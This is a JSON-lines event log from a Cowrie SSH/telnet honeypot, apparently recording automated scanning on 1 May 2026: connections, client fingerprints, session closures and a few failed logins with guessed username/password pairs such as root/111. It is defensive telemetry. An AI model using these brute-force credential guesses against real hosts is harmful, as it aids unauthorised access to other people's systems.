{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:03.653738Z","src_ip":"159.203.92.129","session":"b4009871843c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:03.708413Z","src_ip":"159.203.92.129","session":"b4009871843c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":44168,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5b03a5a12ca","protocol":"telnet","message":"New connection: 117.120.7.112:44168 (159.203.135.109:23) [session: e5b03a5a12ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:03.769403Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47658,"dst_ip":"10.17.0.5","dst_port":23,"session":"a55a762583dc","protocol":"telnet","message":"New connection: 185.111.235.80:47658 (10.17.0.5:23) [session: a55a762583dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:04.144408Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48050,"dst_ip":"10.17.0.5","dst_port":23,"session":"99d39b315797","protocol":"telnet","message":"New connection: 185.111.235.80:48050 (10.17.0.5:23) [session: 99d39b315797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:04.193895Z"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1qaz!QAZ","message":"login attempt [ansible/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:04.382809Z","src_ip":"159.203.92.129","session":"b4009871843c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.974639415740967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:04.965847Z","src_ip":"185.111.235.80","session":"6c157f0ea156","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:05.489582Z","src_ip":"159.203.92.129","session":"b4009871843c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":50824,"dst_ip":"159.203.135.109","dst_port":23,"session":"add8bb9b19cf","protocol":"telnet","message":"New connection: 117.120.7.112:50824 (159.203.135.109:23) [session: add8bb9b19cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:06.236085Z"}
{"eventid":"cowrie.session.closed","duration":30.96260690689087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:06.421058Z","src_ip":"117.120.7.112","session":"8e7552716b4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":51672,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1cd49396d35","protocol":"telnet","message":"New connection: 117.120.7.112:51672 (159.203.135.109:23) [session: f1cd49396d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:06.597851Z"}
{"eventid":"cowrie.session.closed","duration":30.722100257873535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:06.933013Z","src_ip":"185.111.235.80","session":"cdef8c53c886","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34542,"dst_ip":"10.17.0.5","dst_port":23,"session":"673f0c068127","protocol":"telnet","message":"New connection: 185.111.235.80:34542 (10.17.0.5:23) [session: 673f0c068127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:07.146904Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34618,"dst_ip":"10.17.0.5","dst_port":23,"session":"13954ba48d48","protocol":"telnet","message":"New connection: 185.111.235.80:34618 (10.17.0.5:23) [session: 13954ba48d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:07.155079Z"}
{"eventid":"cowrie.session.closed","duration":31.273191452026367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:07.215782Z","src_ip":"117.120.7.112","session":"e49f2fed00a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.599000692367554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:07.302577Z","src_ip":"117.120.7.112","session":"960bc054603c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37372,"dst_ip":"10.17.0.5","dst_port":23,"session":"9214c21ba97c","protocol":"telnet","message":"New connection: 185.111.235.80:37372 (10.17.0.5:23) [session: 9214c21ba97c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:07.628455Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39032,"dst_ip":"10.17.0.5","dst_port":23,"session":"b266a7b62b62","protocol":"telnet","message":"New connection: 185.111.235.80:39032 (10.17.0.5:23) [session: b266a7b62b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:08.030205Z"}
{"eventid":"cowrie.session.closed","duration":31.225735902786255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:08.112082Z","src_ip":"117.120.7.112","session":"81de006c7573","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.315041065216064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:08.226383Z","src_ip":"117.120.7.112","session":"b004f632bf66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47450,"dst_ip":"10.17.0.5","dst_port":22,"session":"18761a43ddb2","protocol":"ssh","message":"New connection: 176.65.139.103:47450 (10.17.0.5:22) [session: 18761a43ddb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:08.243453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:08.248967Z","src_ip":"176.65.139.103","session":"18761a43ddb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40380,"dst_ip":"10.17.0.5","dst_port":23,"session":"88fa6d306b4d","protocol":"telnet","message":"New connection: 185.111.235.80:40380 (10.17.0.5:23) [session: 88fa6d306b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:08.278128Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:08.331478Z","src_ip":"176.65.139.103","session":"18761a43ddb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:08.586435Z","src_ip":"176.65.139.103","session":"18761a43ddb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43986,"dst_ip":"10.17.0.5","dst_port":23,"session":"b79386e8ce0c","protocol":"telnet","message":"New connection: 185.111.235.80:43986 (10.17.0.5:23) [session: b79386e8ce0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:09.061773Z"}
{"eventid":"cowrie.session.closed","duration":30.96494483947754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:09.097973Z","src_ip":"185.111.235.80","session":"2c436b48add8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":55320,"dst_ip":"159.203.135.109","dst_port":23,"session":"88cf3170b110","protocol":"telnet","message":"New connection: 117.120.7.112:55320 (159.203.135.109:23) [session: 88cf3170b110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:09.220405Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47342,"dst_ip":"10.17.0.5","dst_port":23,"session":"c995548563cf","protocol":"telnet","message":"New connection: 185.111.235.80:47342 (10.17.0.5:23) [session: c995548563cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:09.739151Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:09.885630Z","src_ip":"176.65.139.103","session":"18761a43ddb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":56900,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e5e603e85a8","protocol":"telnet","message":"New connection: 117.120.7.112:56900 (159.203.135.109:23) [session: 2e5e603e85a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:09.984942Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48818,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d23e2adb018","protocol":"telnet","message":"New connection: 185.111.235.80:48818 (10.17.0.5:23) [session: 1d23e2adb018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:10.080865Z"}
{"eventid":"cowrie.session.closed","duration":30.62147068977356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:10.190862Z","src_ip":"117.120.7.112","session":"8f2fd23dfbe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":51028,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6276aab72eb","protocol":"telnet","message":"New connection: 185.111.235.80:51028 (10.17.0.5:23) [session: d6276aab72eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:10.477151Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":60632,"dst_ip":"159.203.135.109","dst_port":23,"session":"74057425bfe0","protocol":"telnet","message":"New connection: 117.120.7.112:60632 (159.203.135.109:23) [session: 74057425bfe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:10.491895Z"}
{"eventid":"cowrie.session.closed","duration":30.59704566001892,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:11.017455Z","src_ip":"185.111.235.80","session":"5a1d9def41e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.254727125167847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:11.215957Z","src_ip":"117.120.7.112","session":"d2e6fa5cb3e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54454,"dst_ip":"10.17.0.5","dst_port":23,"session":"14b9cc355c39","protocol":"telnet","message":"New connection: 185.111.235.80:54454 (10.17.0.5:23) [session: 14b9cc355c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:11.244256Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56228,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a1ffaa7ad43","protocol":"telnet","message":"New connection: 185.111.235.80:56228 (10.17.0.5:23) [session: 3a1ffaa7ad43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:11.605023Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":36452,"dst_ip":"159.203.135.109","dst_port":23,"session":"f70de4dd3c28","protocol":"telnet","message":"New connection: 117.120.7.112:36452 (159.203.135.109:23) [session: f70de4dd3c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:12.081916Z"}
{"eventid":"cowrie.session.closed","duration":31.197083711624146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:12.090921Z","src_ip":"117.120.7.112","session":"6d72aca7af5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":34136,"dst_ip":"159.203.135.109","dst_port":23,"session":"811b09db5e64","protocol":"telnet","message":"New connection: 117.120.7.112:34136 (159.203.135.109:23) [session: 811b09db5e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:12.125422Z"}
{"eventid":"cowrie.session.closed","duration":30.930654048919678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:12.266019Z","src_ip":"117.120.7.112","session":"9546f505b151","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":37888,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab4f2105e814","protocol":"telnet","message":"New connection: 117.120.7.112:37888 (159.203.135.109:23) [session: ab4f2105e814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:12.658341Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":59676,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f2d84e846ef","protocol":"telnet","message":"New connection: 117.120.7.112:59676 (159.203.135.109:23) [session: 6f2d84e846ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:13.118328Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35310,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b1b0789ce47","protocol":"telnet","message":"New connection: 185.111.235.80:35310 (10.17.0.5:23) [session: 1b1b0789ce47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:13.179969Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35476,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca597b4a4368","protocol":"telnet","message":"New connection: 185.111.235.80:35476 (10.17.0.5:23) [session: ca597b4a4368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:13.190080Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39990,"dst_ip":"10.17.0.5","dst_port":23,"session":"b34bb3e94abe","protocol":"telnet","message":"New connection: 185.111.235.80:39990 (10.17.0.5:23) [session: b34bb3e94abe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:14.090044Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39968,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7bc129f6c47","protocol":"telnet","message":"New connection: 185.111.235.80:39968 (10.17.0.5:23) [session: a7bc129f6c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:14.097134Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40988,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a3978d5c296","protocol":"telnet","message":"New connection: 185.111.235.80:40988 (10.17.0.5:23) [session: 8a3978d5c296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:14.252525Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":43118,"dst_ip":"159.203.135.109","dst_port":23,"session":"71d5427977a9","protocol":"telnet","message":"New connection: 117.120.7.112:43118 (159.203.135.109:23) [session: 71d5427977a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:14.584338Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33040,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4bb13239f8f","protocol":"ssh","message":"New connection: 176.65.139.103:33040 (10.17.0.5:22) [session: b4bb13239f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:14.722208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:14.728359Z","src_ip":"176.65.139.103","session":"b4bb13239f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:14.834033Z","src_ip":"176.65.139.103","session":"b4bb13239f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":43974,"dst_ip":"159.203.135.109","dst_port":23,"session":"b55391427a1f","protocol":"telnet","message":"New connection: 117.120.7.112:43974 (159.203.135.109:23) [session: b55391427a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:14.873219Z"}
{"eventid":"cowrie.session.closed","duration":30.985494375228882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:15.070038Z","src_ip":"185.111.235.80","session":"e8e6afdcb266","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.502554655075073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:15.117797Z","src_ip":"117.120.7.112","session":"63a811a63ea0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16811776161194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:15.349121Z","src_ip":"117.120.7.112","session":"30abfc058e4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":44932,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcc2a2c69e95","protocol":"telnet","message":"New connection: 117.120.7.112:44932 (159.203.135.109:23) [session: bcc2a2c69e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:15.382339Z"}
{"eventid":"cowrie.session.closed","duration":30.792579650878906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:15.393445Z","src_ip":"117.120.7.112","session":"efc58721206a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:15.411373Z","src_ip":"176.65.139.103","session":"b4bb13239f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":45036,"dst_ip":"159.203.135.109","dst_port":23,"session":"33428b28059e","protocol":"telnet","message":"New connection: 117.120.7.112:45036 (159.203.135.109:23) [session: 33428b28059e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:15.419024Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":43214,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce379823a506","protocol":"telnet","message":"New connection: 117.120.7.112:43214 (159.203.135.109:23) [session: ce379823a506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:15.625728Z"}
{"eventid":"cowrie.session.closed","duration":31.030563592910767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:15.739103Z","src_ip":"117.120.7.112","session":"577a93490c34","protocol":"telnet"}
